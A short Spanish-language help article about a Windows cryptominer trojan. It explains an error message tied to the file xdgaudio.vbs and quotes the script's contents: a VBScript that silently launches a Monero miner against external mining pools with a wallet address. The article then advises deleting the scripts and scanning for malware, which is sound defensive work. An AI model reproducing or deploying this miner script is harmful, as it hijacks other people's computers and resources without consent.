Si recibe el siguiente mensaje de error relacionado con "xdgaudio.vbs" en su sistema, es muy probable que su computadora esté infectada.
Script: C: \ windows \ xdgaudio.vbsLínea 3
Char: 1
Error: el sistema no puede encontrar el archivo especificado.
Codigo: 80070002
Fuente: (nulo)
Cuando se edita con el Bloc de notas, el script puede contener líneas como las siguientes:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -px", 0 Set WShell = Nothing
Esto ciertamente parece un troyano Miner de CPU / criptomoneda que no solo ralentiza su computadora, sino que también puede representar una amenaza de seguridad. Los archivos de script c: \ windows \ xdgaudio.vbs y c: \ windows \ servicecrsssr.vbs deben eliminarse. Eso no es suficiente. Ejecute una exploración exhaustiva con el antimalware Malwarebytes y también escanee con el software antivirus que está utilizando.
Para obtener instrucciones detalladas sobre cómo eliminar dicho troyano Miner, consulte la guía de malwaretips.com Cómo eliminar el troyano CPU Miner de Windows (Guía de ayuda de virus) .